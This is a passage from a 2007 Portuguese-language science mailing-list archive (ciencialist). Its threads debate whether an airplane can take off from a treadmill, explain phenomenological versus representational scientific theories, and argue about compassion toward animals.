> >>> discussões dos mesmos pontos. Evita que andemos em círculos,
como está
> >>> acontecendo agora.
> >> JR - Confirme se até aqui ficou claro para vc que o avião ficará
> >> praticamente parado em relação ao chão onde está apoiada a esteira
> >> rolante.
> >> Aí então podemos ajustar outros entendimentos e continuar nossa
> >> discussão.
> >> Takata vinha desenvolvendo a questão com clareza até quando - para
> >> atender
> >> as questões, dúvidas e idéias apresentadas por Homero - discorreu
sobre
> >> suposições e detalhes periféricos sem importância significativa ao
> >> esclarecimento do problema proposto.
> >>
> >> []s
> >>
> >> José Renato
> >> ......................................................
> >>
> >> al Message -----
> >>> From: "José Renato" <jrma@...>
> >>> To: <ciencialist@yahoogrupos.com.br>
> >>> Sent: Monday, March 05, 2007 11:36 PM
> >>> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim -
O avião
> >>> decola SEM PROBLEMAS..:-)
> >>>
> >>>
> >>>> Olá, Homero! Como vc mesmo diz, não há atrito zero no rolamento das
> >>>> rodas.
> >>>> Assim sendo, a esteira transportará o avião na direção do movimento
> >>>> dela.
> >>>> Esse comentário já está no e-mail colado abaixo, do qual destaco o
> >>>> seguinte
> >>>> texto:
> >>>>
> >>>> [ Se as hélices ou turbinas estão paradas a esteira carrega o
avião
> >>>> para
> >>>> trás. As rodas girarão um pouco apenas no caso da esteira
partir com
> >>>> uma
> >>>> *aceleração* alta o suficiente para vencer o atrito dos
rolamentos das
> >>>> rodas. Depois que a esteira "infinita" atinge a velocidade limite
> >>>> máxima
> >>>> e
> >>>> a
> >>>> *aceleração* cai a zero, as rodas do avião param de rodar e ele
passa a
> >>>> ser
> >>>> transportado "paradão", se deslocando para trás com a mesma
velocidade
> >>>> da
> >>>> esteira. ]
> >>>>
> >>>> []s
> >>>>
> >>>> JR
> >>>> ...................................
> >>>> From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
> >>>> Sent: Sunday, March 04, 2007 6:38 PM
> >>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-)
Re: avião
> >>>> em
> >>>> esteira
> >>>>
> >>>>
> >>>>> Olá, Ricardo, dentro da questão proposta originalmente, faço
> >>>>> comentários
> >>>>> após os seus:
> >>>>> ...........................
> >>>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> >>>>> Sent: Sunday, March 04, 2007 4:09 PM
> >>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-)
Re: avião
> >>>>> em
> >>>>> esteira
> >>>>>
> >>>>>> Devo dizer que tive o mesmo raciocínio inicialmente, é
verdade. É ao
> >>>>>> que
> >>>>>> somos levados a pensar a princípio. Mas como o sistema que
empurra o
> >>>>>> avião
> >>>>>> para frente é independente da esteira (turbina, por exemplo), a
> >>>>>> esteira
> >>>>>> se
> >>>>>> mover para trás não empurra o avião para trás de forma
determinante,
> >>>>>> mas
> >>>>>> sim, faz as rodas girarem mais rápido.
> >>>>> JR - É isso que o Takata está tentando há vários e-mails
esclarecer a
> >>>>> vc
> >>>>> e
> >>>>> a
> >>>>> Homero. Vamos ver se consigo: se as hélices ou turbinas estão
paradas
> >>>>> a
> >>>>> esteira carrega o avião para trás. As rodas girarão um pouco
apenas no
> >>>>> caso
> >>>>> da esteira partir com uma *aceleração* alta o suficiente para
vencer o
> >>>>> atrito dos rolamentos das rodas. Depois que a esteira "infinita"
> >>>>> atinge
> >>>>> a
> >>>>> velocidade limite máxima e a *aceleração* cai a zero, as rodas do
> >>>>> avião
> >>>>> param de rodar e ele passa a ser transportado "paradão", se
deslocando
> >>>>> para
> >>>>> trás com a mesma velocidade da esteira.
> >>>>> A seguir, vamos ver o que ocorre quando os motores do avião são
> >>>>> acionados.
> >>>>>
> >>>>>> Então, o avião anda para a frente, em relação ao chão, a
esteira roda
> >>>>>> para
> >>>>>> trás, e as rodas giram mais rápido.
> >>>>> JR - Não, Ricardo, com os motores parados o avião não se
desloca para
> >>>>> frente
> >>>>> a não ser uns poucos metros, caso a esteira parta com alta
aceleração.
> >>>>> Ele
> >>>>> só passará a se deslocar para frente continuamente sobre a esteira
> >>>>> quando
> >>>>> os
> >>>>> motores das hélices ou turbinas forem acionados e acelerados.
> >>>>> Ao atingir a mesma velocidade da esteira em sentido contrário, as
> >>>>> rodas
> >>>>> estarão girando sobre a esteira como um carro no asfalto, mas
o avião
> >>>>> estará
> >>>>> praticamente parado em relação ao solo ou ao ar que o rodeia,
exceto
> >>>>> em
> >>>>> relação ao fluxo de ar deslocado pelas hélices ou turbinas.
> >>>>> Adendo: no caso de avião com hélices pode ocorrer desse fluxo
de ar
> >>>>> acima
> >>>>> mencionado ser suficientemente forte para elevar o avião da
esteira, o
> >>>>> que
> >>>>> poderia ser considerado um vôo, semelhante ao que ocorreria se
o avião
> >>>>> fosse
> >>>>> "amarrado pela cauda" e acelerasse os motores.
> >>>>>>
> >>>>>> []s
> >>>>>> Ricardo
> >>>>>
> >>>>> []s
> >>>>> José Renato
> >>>>> ................................................
> >>>>
> >>>> ----- Original Message -----
> >>>> From: "Oraculo" <oraculo@...>
> >>>> To: <ciencialist@yahoogrupos.com.br>
> >>>> Sent: Monday, March 05, 2007 3:19 PM
> >>>> Subject: [ciencialist] P/ Renato, decola sem problemas sim - O
avião
> >>>> decola
> >>>> SEM PROBLEMAS..:-)
> >>>>
> >>>>
> >>>> Olá Jose Renato
> >>>>
> >>>> Renato: "Pois é, Ricardo, e a esteira leva o avião para trás na
mesma
> >>>> velocidade!
> >>>> Isso significa que o mesmo está praticamente parado em relação
ao solo
> >>>> e
> >>>> ao
> >>>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
> >>>> hélices
> >>>> ou turbinas. Difícil, não?
> >>>> "
> >>>>
> >>>> NÃO LEVA!!! A esteira NÂO LEVA o avião apra trás, porque NÃO existe
> >>>> tração
> >>>> na esteira!!!! Sim, é difícil deixar a idéia de que rodas são a
traçaõ
> >>>> do
> >>>> veículo, e isso está confundindo você. Renato, a esteira NÃO LEVA o
> >>>> avião
> >>>> apra tras, depois que ele liga as turbinas!
> >>>>
> >>>> Só levaria se as rodas estivessem, de alguma forma, PRESAS a
esteira, e
> >>>> elas
> >>>> NÃO ESTÃO. Elas GIRAM justamente para EVITAR a trtação, são
> >>>> dispositivos
> >>>> de
> >>>> eliminação de tração, de atrito. Pense em uma mala na esteira do
> >>>> aeroporto.
> >>>>
> >>>> SE as rodas são fixas, não giram, ao rolar a esteira você terá
de fazer
> >>>> GRANDE força para manter a mala no lugar, enquanto a esteira rola
> >>>> abaixo
> >>>> dela. Isso porque o atrito das rodas fixas com a superfície da
esteira
> >>>> fornece tração para a esteira empurrar a mala.
> >>>>
> >>>> MAS, SE as rodas giram soltas, basta um PEQUENO esforço de sua
mão, e a
> >>>> mala
> >>>> fica no luagar, com as rodas girando e a esteira rolando abaixo
dela. O
> >>>> esforço que tem de fazer é pequeno, APENAS o suficiente para
vencer o
> >>>> atrito
> >>>> dos rolamentos. Quanto menos atrito nos rolamentos, menos esforço.
> >>>>
> >>>> Agora, o golpe final: SE os rolamentos da roda da mala tivessem
ATRITO
> >>>> ZERO,
> >>>> o que é uma impossibilidade prática, mas uma -ossibilidade
teórica, a
> >>>> mala
> >>>> NÃO SE MOVERIA MESMO QUE NÃO COLOCASSE A MÃO NELA!
> >>>>
> >>>> Consegue entender isso, Renato? Se os rolamentos das rodas, da
mala ou
> >>>> do
> >>>> avião, tivessem atrito zero, a mala NÃO se movenria, não
importa o que
> >>>> acontece com a esteira. Ela poderia rolar para a direita, esquerda,
> >>>> parar,
> >>>> começar de novo, acelerar, desacelerar, e a mala NÃO SE MOVERIA.
> >>>>
> >>>> Assim, a esteira NÃO LEVA O AVIÃO PARA TRAS, pois a força que a
esteira
> >>>> pode
> >>>> aplciar no avião é apenas a permitida pelo, mínimo, atrito dos
> >>>> rolamentos
> >>>> das rodas. Atrito que pode ser vencido por uma parcela INFIMA
da força
> >>>> das
> >>>> turbinas.
> >>>>
> >>>> Homero
> >>>>
> >>>>
> >>>>
> >>>>
> >>>> ----- Original Message -----
> >>>> From: José Renato
> >>>> To: ciencialist@yahoogrupos.com.br
> >>>> Sent: Sunday, March 04, 2007 12:10 AM
> >>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-)
Re: avião
> >>>> em
> >>>> esteira
> >>>>
> >>>>
> >>>> Ricardo:
> >>>> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
> >>>> hélices,
> >>>> ao
> >>>> empurrar o ar para trás, empurra o avião para frente, independente
> >>>> deste
> >>>> ter
> >>>> ou não asas. O avião se move para frente ao ligar a turbina,
não para
> >>>> cima. ]
> >>>> ..........................
> >>>> Pois é, Ricardo, e a esteira leva o avião para trás na mesma
> >>>> velocidade!
> >>>> Isso significa que o mesmo está praticamente parado em relação
ao solo
> >>>> e
> >>>> ao
> >>>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
> >>>> hélices
> >>>> ou turbinas. Difícil, não?
> >>>> []s
> >>>> JR
> >>>> ..........................
> >>>>
> >>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> >>>> Sent: Tuesday, February 27, 2007 11:25 PM
> >>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-)
Re: avião
> >>>> em
> >>>> esteira
> >>>>
> >>>> > From: "José Renato" <jrma@...>
> >>>> >> Homero:
> >>>> >> [ Se ligar as hélices, ele se move, independente de uma
esteira ou
> >>>> das
> >>>> >> rodas. ]
> >>>> >> .............................................
> >>>> >> Sim, se as hélices tiverem a condição de criar um fluxo de
ar nas
> >>>> asas
> >>>> >> capaz
> >>>> >> de sustentá-lo. Na proposta original parece-me que o avião
possui
> >>>> >> turbinas.
> >>>> >> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
> >>>> >
> >>>> > José, imagino que vc tenha se enganado, neste caso. A turbina ou
> >>>> hélices,
> >>>> > ao
> >>>> > empurrar o ar para trás, empurra o avião para frente,
independente
> >>>> deste
> >>>> > ter
> >>>> > ou não asas. O avião se move para frente ao ligar a turbina,
não
> >>>> para
> >>>> > cima.
> >>>> >
> >>>> > Um abraço,
> >>>> >
> >>>> > Ricardo



SUBJECT: Re: [ciencialist] Re: P/ Takata , decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/03/2007 18:53

Olá, Takata e Homero!
Resumindo os últimos e-mails trocados entre vcs citando meu entendimento
abrangente do problema, devo ressaltar que:
1. o atrito estático é, geralmente, maior do que o atrito dinâmico;
2. meu comentário - que considera duas possibilidades básicas para a medição
da velocidade do avião -não se deve a qualquer influência dos comentários
emitidos por Takata;
3. o atrito previsto no problema deve ser o normal de qualquer avião
construído para voar e nada interfere no problema, se for muito alto apenas
será necessário um empuxo maior nas turbinas ou hélices.

[]s

José Renato
.............................................

----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 12, 2007 6:25 PM
Subject: [ciencialist] Re: P/ Takata , decola sem problemas sim - O avião
decola SEM PROBLEMAS..:-)


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> adequado, muito distante da intenção do autor do enunciado..:-) O

Bem, a intenção do autor do enunciado é uma questão demasiadamente
transcendental para mim. Em tese tudo o q o enunciado não proíbe seria
permitido. Claro q as conclusões a q se chega são restritas às
condições assumidas na resolução. O meu critério é, por default, usar
as condições q estão presentes em uma decolagem normal, modificando
apenas no q for necessário para se ajustar ao enunciado.

> Em nenhum momento o autor pretendia que se analisasse os rolamentos
> de um Airbus, muito menos pensou na aplicação de uma fórmula
> matemática para considerar variáveis desconhecidas.

Digamos q assim tenha sido. Apenas é o caso de dizer: o enunciado tal
qual apresentado permite outra conclusão.

> Mas sua erudição, sua inteligência (e porque não dizer, sua
> teimosia..:-) proverbiais estão ajudando a confundir o Jose Renato.

Emendo a resposta no último trecho desta mensagem.

> Sua abordagem necessita de velocidades enormes, pois para o atrito,
> mínimo e desprezível, gerado em baixas velocidades, o avião se
> desloca com ou sem o movimento da esteira.

Velocidade DENTRO do proposto para o enunciado. No caso do Airbus,
velocidade baixas q não gerem o atrito suficiente para deter sua
aceleração são inferiores à velocidade necessária para decolar.

> Se der uma lida na última mensagem do Jose Renato, vai compreender o
> quanto ele está enganado, e o quanto sua defesa do atrito está
> confundindo a questão para ele.

Eu não me sinto responsável - até porq. mm qdo eu argumento
contrariamente a um posicionamento dele, minha argumentação não surte
efeito de influência. Conqto q a minha argumentação nesta linha seja
defensável em sua correção técnica - dentro dos limites de
idealizações impostas pelo problema -, ela não poderia ser negada pelo
mau uso e/ou entendimento por parte de terceiros (não poderíamos negar
a validade da física quântica apenas pelo fato de pseudos tentarem
usá-la para provar suas teses esquisitas). Posto isto, para maior
clareza declaro:

- Minha linha de argumentação NÃO tem por intuito defender a
argumentação de José Renato neste tópico;

- Eu NÃO reconheço q esta linha leve à conclusão pelo impedimento de
decolagem de uma aeronave comum (excetuando-se os VSTOL e similares)
em uma situação de atrito ZERO. Basta aplicar a fórmula. Atrito zero
significa coeficientes zero de atrito:

Fat = m.g.(crr + k.crv.(V/100)^2,5)
Fat = m.g.(0 + 0.k.(V/100)^2,5)
Fat = m.g.(0 + 0)
Fat = m.g.0
Fat = 0

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/03/2007 19:22

[ Vou tecer apenas algumas considerações sobre um aspecto importante sob o
ponto de vista da *filosofia da ciência* e relacionado à teorização em
ciências naturais (estou fazendo adaptações em um texto que escrevi há muito
tempo --> 1987). ]
........................

Caro, Alberto!
Agradeço pelo texto simples e esclarecedor. Valeu!
Destaco a importância da filosofia da ciência nos meios científicos e a
existência das caixas pretas a serem esmiuçadas em seu interior e iluminadas
cada vez mais, para maior entendimento.
Abraços
José Renato
.....................................................

From: "Alberto Mesquita Filho" <albmesq@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 14, 2007 5:06 AM
Subject: [ciencialist] Re: Sobre o Método Cientifico


----- Original Message -----
From: "Chicao Valadares"
Sent: Monday, March 12, 2007 12:15 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico


> Se voce puder me dizer algo sobre FENOMENOLOGIA também seria bom.

O assunto é bastante extenso e, em sua completude, é estudado em
filosofia. Sob esse aspecto generalizante o tema está bem tratado em
http://www.cobra.pages.nom.br/ftm-fenomeno.html . Vou tecer apenas
algumas considerações sobre um aspecto importante sob o ponto de
vista da filosofia da ciência e relacionado à teorização em ciências
naturais (estou fazendo adaptações em um texto que escrevi há muito
tempo --> 1987).

Classicamente existem dois tipos de teorias: 1) fenomenológicas e 2)
representacionais. Os termos não são isentos de críticas, havendo
quem prefira as denominações "teorias de caixa negra" e "teorias de
caixa translúcida", respectivamente. Por vezes confunde-se
fenomenologismo com empirismo e representacionismo com realismo. Há
de se notar, não obstante, que o realismo se utiliza dos dois tipos
de modelos teóricos e, também, que existem teorias que se apoiam no
modelo fenomenológico e, no entanto, estão totalmente à margem da
filosofia empirista.

As teorias fenomenológicas, ou de caixa negra, estudam o
comportamento de um sistema sem, contudo, se preocupar com o
mecanismo interno. São também, e por este motivo, chamadas teorias
behavioristas. O modelo behaviorista satisfaz a filosofia empirista,
pois permite a condensação de grande número de dados experimentais e
a predição da evolução do sistema, sem ultrapassar em demasia o
observável. As teorias fenomenológicas são teorias de baixo risco e,
portanto, dificilmente derrubadas; contudo são menos férteis que as
teorias representacionais.

As teorias representacionais não só aceitam a hipótese metafísica da
existência de um mecanismo interno, mas procuram explicar a causa
imediata dos fenômenos observados; utilizam para isto a imaginação
e/ou a lógica transcendental. Através de modelos teóricos imaginários
prevê fatos novos, e estes últimos devem ser corroboráveis
experimentalmente. Adota como critério de prova a concordância das
conclusões com as leis conhecidas, não sem, é claro, desconfiar
dessas leis.

O cientista realista, como disse, trabalha com os dois tipos de
teorias e, para exemplificar essa conduta vou citar um pensamento
realista de Mário Bunge: "O fim último da teorização científica é
edificar teorias representacionais que abarquem e expliquem as
correspondentes teorias fenomenológicas."

O paradigma das teorias fenomenológicas é a termodinâmica clássica,
talvez a mais bela, a mais completa e a mais profunda (ainda que
fenomenológica) teoria científica. E por mais que se pretenda torná-
la obsoleta, vem resistindo ao passar do tempo e alicerçando as
teorias representacionais que pretendem substituí-la. É, sem sombra
de dúvidas, uma teoria que se adapta à doutrina empirista, mas não
tenham dúvidas de que é muito mais fácil justificar o empirismo pelos
sucessos da termodinâmica do que o inverso.

As teorias não são, em sua grande maioria, nem puramente
fenomenológicas, nem puramente representacionais. Utilizam-se de
ambas as metodologias, situando-se num caminho intermediário entre as
primeiras e as segundas. Em geral iniciam-se como uma teoria de caixa
negra mas, cedo ou tarde, evoluem --às custas de raciocínios que
interrelacionam as leis experimentais observadas-- para uma teoria de
caixa cada vez mais transparente.

Exemplos:

. Teoria Fenomenológica Teorias Representacional
. Cinemática Dinâmica
. Óptica Geométrica Óptica Física
. Termodinâmica Mecânica Estatística
. Matriz de Espalhamento Teoria Quântica Hamiltoniana

Note-se que os exemplos não pertencem a uma classificação absoluta.
Ninguém vai estudar, por exemplo, aspectos de óptica geométrica sem
relacionar os achados com os conhecimentos sabidamente existentes no
âmbito da óptica física. Por outro lado, a evolução da ciência não é
orientada exclusivamente no sentido de caixa negra para translúcida.
O inverso também é comum, embora também signifique um progresso
representacional. À medida em que os mecanismos intrínsecos a uma
caixa negra primitiva vão se tornando translúcidos, nota-se a
existência de regiões nebulosas que comportam uma análise
fenomenológica. Criam-se assim caixas negras no interior de uma caixa
translúcida, ou uma teoria fenomenológica no seio de uma
representaciona, e a primeira colabora para o aprofundamento da
segunda.

Tomemos, como exemplo, a óptica física e, em particular, a difração
ou inflexão da luz. Numa abordagem inicial podemos construir uma
teoria de caixa negra. O interesse de momento focaliza-se unicamente
no que há de observável. E o que há de concreto é um feixe paralelo
de luz, antes de um orifício ou da borda de um objeto, e um feixe
divergente após a região responsável pelo que denominamos difração ou
inflexão dos raios. Todas as leis decorrentes dessas observações
incorporam-se numa teoria fenomenológica. Qualquer tentativa de
explicar o porquê da difração ou inflexão, nos leva a uma estrada com
duas pistas: ou melhoramos as condições de observação, refinando a
técnica utilizada, ou partimos para o representacionismo, tentando
explicar o não observável através do que se vê. Em geral utiliza-se
ambas as vias, e o que se tem como resultado no caso são as teorias
corpusculares e ondulatórias que, evidentemente, são
representacionais.

Bem, o texto original é bem mais extenso, mas procurei resumir o que
há de mais fundamental no assunto.

> A não existência de um método completo seria um bom argumento para
os religiosos????

Talvez sim, mas apenas para àqueles que chamo "religiosos de pouca
fé". Você encontrará mais sobre o que penso a respeito em
http://ecientificocultural.com/ECC2/Dialogos/cmee.htm [Ciência,
materialismo e espiritualismo].

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



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SUBJECT: Que absurdo, Renato - Re: P/ Renato, decola sem problemas sim
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 19:47

Olá Jose Renato

Vou ignorar os "ad hominem", você continua errado. E continua absurda
sua afirmação.

Renato: "Perceba que, nesse segundo caso, sempre que o avião se
deslocar sobre a esteira infinitesimalmente para frente - com qualquer
velocidade - a esteira rola em sentido contrário na mesma velocidade,
deixando-o praticamente parado em relação ao chão e ao ar que o
rodeia. Nesse caso o avião não levanta vôo. É só pensar um pouco..."

A esteira continua "enganando" você, como um letítimo "red hering". E
continua absurdo alegar que o caso depende do referencial com que se
mede o movimento do avião, para decidir se este voa ou não.

É como se, com duas pessoas medindo isso, uma em relação a esteira, e
outra em relação ao solo, o mesmo avião "decolasse e não decolasse"!!

Isso não faz o menor sentido, Renato.
Ao se deslocar sobre a esteira (ou sobre o chão), o avião o faz devido
ao EMPUXO e não a esteira. Portanto, tente entender, é IRRELEVANTE o
que a esteira está fazendo, se está parada ou rolando!

Ao rolar a esteira APENAS faz com que as rodas girem sobre seu eixo
mais rápido do que girariam se o aviãi estivesse sobre o solo fixo. Só
isso, nada mais. Ela NÃO leva o avião para tras, simplesmente porque
NÃO tem como fazer isso, não tem força a aplicar no avião!

Você está profundamente enganado, totalmente enganado, mas não sei se
vai conseguir entender isso algum dia.

Mais uma vez, tente pensar em atrito zero nos rolamentos. Me diga,
Renato, se os rolamentos tem atrito zero, acha que ainda assim o avião
não deccola? Veja que nada mudou, a esteira ainda "rola" cada vez que
o avião avança, e portanto sua alegação deveria ser a mesma.

Mas NÃO É. Se puxar a esteira embaixo do avião, com rodas de rolamento
de atrito zero, ele NÃO SE MOVE para tras. Ele fica no lugar. Se
acelerar, anda para frente e decola NÃO IMPORTA O QUE A ESTEIRA FAÇA.

Assim, a única forma de uma esteira impedir a decolagem, e a ÚNICA
forma de uma esteira fazer o que alega acima, seria "colar" as rodas
na esteira ou se o atrito dos rolamentos fosse maior que a pressão do
empuxo DESDE O INÍCIO, que é o que o Takata tenta defender.

Sua alegação está errada em todos os sentidos, inclusive com relação a
alegação do Takata.

Isso é que é teimosia..:-)

Homero




SUBJECT: RE: [ciencialist] Re: P/ Oraculo - Crueldade com animais
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 20:44

Sim, Oráculo,
vc já foi melhor.

Compaixão e empatia é assim: vc tem ou não tem. Se não tem, fica difícil
entender.
A lombriga e os ratos, os bodes, papagaios, leões, virus, ninguém tem
compaixão... no máximo alguma solidariedade perante algum filhote indefeso.

Os seres humanos sim, COSTUMAM TER, e isso é AQUELE diferencial entre nós e
as feras; e que deveria ser conservado e cultivado.

*Não é só* porque a lei da sobrevivência neste planeta manda que uns morram
para que outros vivam, num ciclo onde há lugar e vez para todos, em que as
espécies sobrevivem e os indivíduos passam, que não deve haver emoção e
sentimentos empáticos. ( isso responde bastante do que vc quer saber. )

Se eu tivesse nas mãos um produto para *erradicar* os ratos dos esgotos, ou
as lombrigas e seus ovos de todas as bundas, fezes e águas, esteja seguro,
eu não o usaria, mesmo sendo eu o mais forte.

E se eu fosse um político, que usa as pessoas e suas vidas como matéria
prima e massa de manobra, o que eu faria com as lombrigas, se tivesse o
hipotético produto? Logicamente, como político, se houvesse algum proveito
próprio, arrogantemente eu mataria qualquer coisa p/sempre.

Mas acontece que BÁSICA e estruturalmente a cabeça da Bruna é a mesma do
político fera, ou qualquer outro brutal que anda por aí.

A cabeça e a consciência da Bruna é que são muito mais depuradas, mais
elevadas e mais evoluídas, e isso deve ser cultivado e admirado, pq trata-se
do seu diferencial perante as feras.

Mesmo que a Bruna saiba, E SABE, que é impossível NÃO MATAR no planeta, ela
busca uma solução, e este impulso de busca é o começo de qualquer solução.
TALVEZ ela mesma não tenha avaliado como é que surgem estas coisas em sua
mente benevolente, mas que é algo muito refinado, não há como negar.

A matança vai continuar... nosso cérebro é energia pura... nossa saúde está
cada vez melhor, mas graças às Brunas já existe UMA CONSCIÊNCIA de que
devemos matar apenas *o suficiente*, ou o *menos possível*.

Ainda é querer muito de uma humanidade que também mata a sí mesma, mas já
podemos entender que NÃO se trata de algo impossível.
abr/Murilo SP 18/març07

>From: "oraculo333" <oraculo@atibaia.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: P/ Murilo - Crueldade com animais
>Date: Sun, 18 Mar 2007 01:36:53 -0000
>
>Olá Murilo
>
>Murilo: "Caramba, Horáculo...
>Vc já foi melhor! Frente à realidade estabelecida há milhões de anos,
>ela só está falando de algo denominado de ''empatia'', ou ''compaixão''."
>
>Bem, eu tenho um bocado de empatia e compaixão..:-) Mas realmente
>quero saber é em que ponto devemos colocar a linha que divide a
>aplicação concreta dessa compaixão.
>
>Por exemplo, a compaixão por um lindo coelhinho deve ser a mesma
>daquela que devemos ter por um rato? Ou uma barata? Ou lombrigas?
>
>Em algum momento, sob pena de tornar o argumento absurdo, temos de
>relativizar essa compaixão, não?
>
>Agora, o que a realidade de milhões de anos tem a ver com esta
>questão? Também não é uma pergunta retórica, eu realmente queria saber
>sua resposta sobre isso.
>
>Por exemplo, as doenças se desenvolvem e evoluem há milhões de anos, e
>nenhum dos seres vivos que as causam tem a menor compaixão ou mesmo a
>menor idéia do que isso seja.
>
>Um abraço.
>
>Homero
>
>
>
>
>
>--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
><avalanchedrive@...> escreveu
> >
> > Caramba, Horáculo...
> > Vc já foi melhor!
> > Frente à realidade estabelecida há milhões de anos, ela só está
>falando de
> > algo denominado de ''empatia'', ou ''compaixão''.
> > abr/M.
> >
> >
> > >From: "oraculo333" <oraculo@...>
> > >Reply-To: ciencialist@yahoogrupos.com.br
> > >To: ciencialist@yahoogrupos.com.br
> > >Subject: [ciencialist] P/ Bruna - Crueldade com animais
> > >Date: Sat, 17 Mar 2007 19:36:14 -0000
> > >
> > >Olá Bruna
> > >
> > >Bruna: "A ética universal está na razão de darmos a mesma a
> > >consideração ao sofrimento de outros seres como damos ao nosso próprio
> > >sofrimento, independente da espécie, do sexo e das habilidades
> > >intelectuais."
> > >
> > >Primeiro, permita-me perguntar, Por que? Por que é assim? E se eu não
> > >acreditar em você, como pretende provar que é assim? Ou é apenas uma
> > >questão de crença, devemos acreditar em você e pronto?
> > >
> > >Quer dizer, de onde tirou tal informação, que é uma das mais
> > >importantes e mais polêmicas da filosofia, a existência ou não de uma
> > >ética universal? Como só você encontrou a resposta, que tem dividido e
> > >assombrado filósofos por séculos?
> > >
> > >Seria interessante saber como chegou a essa conclusão, o que a embasa,
> > >quais as evidências, etc. Poderia resolver grandes problemas
> > >filosóficos do ser humano.
> > >
> > >Em segundo, fiquei curioso com este trecho em especial, em relação a
> > >parte prática, a forma de aplicar esse, generoso, princípio:
> > >
> > >Bruna: "independente da espécie, do sexo e das habilidades
>intelectuais."
> > >
> > >Todos os seres vivos, independente da espécie? E das habilidades
> > >intelectuais? Por exemplo, baratas estão incluídas, e devemos agir
> > >pensando em sua "dor"? E Streptococcus, que causam pneumonia?
> > >
> > >E animais selvagens, devemos destruir todas as cidades, para que
> > >possam voltar a habitar seus ambientes originais?
> > >
> > >E ratos, devemos impedir que sejam mortos nas cidades, pensando em sua
> > >"dor"?
> > >
> > >Se eu tiver uma infecção de pele, devo evitar de aplicar remédios que
> > >causem a morte dos micro-organismos que habitam ali? Se pegar
> > >lombrigas, não posso tomar remédios que causem dor e morte a elas? As
> > >pessoas que vivem em áreas da África assoladas por doenças como
> > >elefantíase, não podem aplicar as drogas que matam as moscas
> > >transmissoras?
> > >
> > >Por favor, não é uma pergunta retórica ou uma armadilha, eu realmente
> > >quero saber como pretende aplicar sua alegação a casos concretos, já
> > >que não há nela nenhuma limitação ou forma de decidir a linha de
>"corte".
> > >
> > >Se considerarmos a dor de TODOS os seres vivos, independentemente de
> > >qualquer outra coisa, espécie ou capacidade intelectual, como devo
> > >agir nos casos concretos que citei?
> > >
> > >Um abraço.
> > >
> > >Homero
> > >
> > >
> > >--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > ><brunacribas@> escreveu
> > > >
> > > > A ética universal está na razão de darmos a mesma a consideração ao
> > >sofrimento de outros seres como damos ao nosso próprio sofrimento,
> > > > independente da espécie, do sexo e das habilidades intelectuais.
> > > >
> > > > Abraços,
> > > >
> > > > da Bruna
> > > >
> > > >
> > > > José Renato <jrma@> escreveu:
> > >Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como
> > >vamos
> > > > achar a ética universal se não a procurarmos? Parece-me que a
> > >questão está
> > > > muito menos em encontrá-la, do que na força necessária para
> > >considerá-la e
> > > > praticá-la. Estamos esgotados por tantas solicitações que não nos
> > >sobra
> > > > energia para sermos o que dizemos ser: homo sapiens-sapiens.
> > > > []s
> > > > José Renato
> > > > .............................................
> > > >
> > > > From: "Chicao Valadares" <chicaovaladares@To:
> > > > <ciencialist@yahoogrupos.com.br>
> > > > Sent: Monday, March 12, 2007 12:07 PM
> > > > Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > >
> > > > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > > > universal vamos ficar apenas nos achismos e no plano
> > > > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > > > história de escolha lembra aquele velho dilema entre
> > > > > determinismo e acaso. Mas isso fica pra um outro
> > > > > debate....
> > > > >
> > > > > Abraços.
> > > > >
> > > > > --- José Renato <jrma@> escreveu:
> > > > >
> > > > >> Olá, Chicão! Essa é uma questão de escolha... A
> > > > >> nossa vida é construída,
> > > > >> destruída ou mantida por permanentes escolhas que
> > > > >> fazemos e pelas decisões
> > > > >> que tomamos. Encontrar as melhores decisões e
> > > > >> escolhas para cada situação é
> > > > >> a pedra de toque que os sábios buscam há tempos.
> > > > >> Como elas são praticamente
> > > > >> infinitas alguns roteiros básicos são copilados para
> > > > >> orientações gerais. Mas
> > > > >> no particular, cada um vai ter de optar, escolher e
> > > > >> decidir. Ou deixar que
> > > > >> decidam por nós.
> > > > >> Faço outros comentários no corpo do e-mail, após
> > > > >> JR2, OK?
> > > > >> ..............................................
> > > > >> From: "Chicao Valadares" <chicaovaladares@To:
> > > > >> <ciencialist@yahoogrupos.com.br>
> > > > >> Sent: Thursday, March 08, 2007 4:22 PM
> > > > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > > >>
> > > > >>
> > > > >> > JR, minhas respostas seguem depois do ">>>>>".
